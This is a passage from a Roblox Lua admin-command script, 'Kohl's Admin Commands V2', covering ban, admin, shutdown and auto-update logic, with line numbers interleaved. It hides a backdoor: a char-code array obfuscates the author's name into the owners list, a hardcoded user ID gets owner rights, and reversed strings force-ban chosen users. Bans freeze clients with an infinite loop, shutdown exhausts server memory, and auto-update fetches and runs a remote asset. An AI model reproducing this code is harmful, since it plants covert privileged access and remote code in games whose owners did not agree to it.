if v and not ChkAdmin(v.Name, false) then v:Destroy() end
8251
end))
8252
end
8253
end
8254
8255
if msg:lower():sub(1,6) == "admin " then
8256
local plrz = GetPlr(plr, msg:lower():sub(7))
8257
for i, v in pairs(plrz) do
8258
coroutine.resume(coroutine.create(function()
8259
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
8260
end))
8261
end
8262
end
8263
8264
if msg:lower():sub(1,8) == "unadmin " then
8265
for i = 1, #tempadmins do
8266
coroutine.resume(coroutine.create(function()
8267
if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
8268
end))
8269
end
8270
end
8271
8272
if msg:lower():sub(1,4) == "ban " then
8273
local plrz = GetPlr(plr, msg:lower():sub(5))
8274
for i, v in pairs(plrz) do
8275
coroutine.resume(coroutine.create(function()
8276
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
8277
end))
8278
end
8279
end
8280
8281
if msg:lower():sub(1,6) == "unban " then
8282
for i = 1, #banland do
8283
coroutine.resume(coroutine.create(function()
8284
if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
8285
end))
8286
end
8287
end
8288
8289
if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
8290
8291
end
8292
end))
8293
end
8294
8295
function AdminControl(plr)
8296
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
8297
if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
8298
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
8299
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
8300
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
8301
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
8302
end)) end
8303
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
8304
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
8305
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
8306
coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
8307
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
8308
plr.Chatted:connect(function(msg) Chat(msg,plr) end)
8309
end
8310
8311
if not ntab then script:Destroy() end
8312
if not bct then script:Destroy() end
8313
8314
local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
8315
8316
script.Name = "Kohl's Admin Commands V2"
8317
8318
if not ntab then script:Destroy() end
8319
if not bct then script:Destroy() end
8320
if not tcb then script:Destroy() end
8321
game.Players.PlayerAdded:connect(AdminControl)
8322
for i, v in pairs(game.Players:children()) do AdminControl(v) end
8323
end
8324
8325
local mod = game:service("InsertService"):LoadAsset(100808216)
8326
if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then 
8327
local newac = mod:findFirstChild("Kohl's Admin Commands V2")
8328
newac.Disabled = true
8329
local new = tonumber(mod:findFirstChild("Version", true).Value)
8330
local old = 0
8331
if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
8332
if new > old then
8333
local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
8334
for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
8335
for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
8336
for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
8337
for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
8338
local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
8339
local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
8340
local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
8341
local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
8342
local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
8343
local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
8344
local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
8345
wait()
8346
newac.Parent = game.Workspace
8347
newac.Disabled = false
8348
script.Disabled = true
8349
script:Destroy()
8350
else
8351
CHEESE()
8352
end
8353
else
8354
CHEESE()
8355
end